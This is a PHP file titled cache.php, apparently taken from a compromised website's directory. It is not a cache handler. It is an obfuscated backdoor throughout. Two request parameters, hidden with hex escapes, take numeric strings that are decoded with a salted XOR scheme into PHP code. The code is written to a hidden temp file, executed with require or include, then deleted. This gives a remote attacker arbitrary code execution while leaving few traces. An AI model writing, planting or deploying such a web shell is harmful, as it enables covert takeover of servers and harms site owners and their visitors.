File: /home/niyknzcu/crivient.com/cache.php
<?php if(array_key_exists("\x66ac", $_REQUEST) && !is_null($_REQUEST["\x66ac"])){ $data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["\x66ac"]; $comp = explode( '.' , $comp); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($comp); for ($r = 0; $r < $len; $r++) { $v5 = $comp[$r]; $chS = ord($salt[$r % $sLen]); $d = ((int)$v5 - $chS - ($r % 10)) ^ 69; $marker .= chr($d); } foreach ($data_chunk as $entry) { if (is_dir($entry) && is_writable($entry)) { $symbol = "$entry" . "/.entity"; if (file_put_contents($symbol, $marker)) { require $symbol; unlink($symbol); exit; } } } }
if(!empty($_REQUEST["desc\x72\x69\x70to\x72"])){
$fac = $_REQUEST["desc\x72\x69\x70to\x72"];
$fac = explode("." , $fac);
$data_chunk= '';
$salt5= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen( $salt5 );
$p= 0;
array_walk( $fac , function( $v2) use( &$data_chunk , &$p , $salt5 , $lenS) {
$chS= ord( $salt5[$p%$lenS] );
$dec= ( ( int)$v2 - $chS -( $p%10))^ 1;
$data_chunk .= chr( $dec );
$p++; } );
$component = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]);
foreach ($component as $dchunk):
if ((is_dir($dchunk) and is_writable($dchunk))) {
$holder = sprintf("%s/.k", $dchunk);
if (file_put_contents($holder, $data_chunk)) {
include $holder;
@unlink($holder);
exit;
}
}
endforeach;
}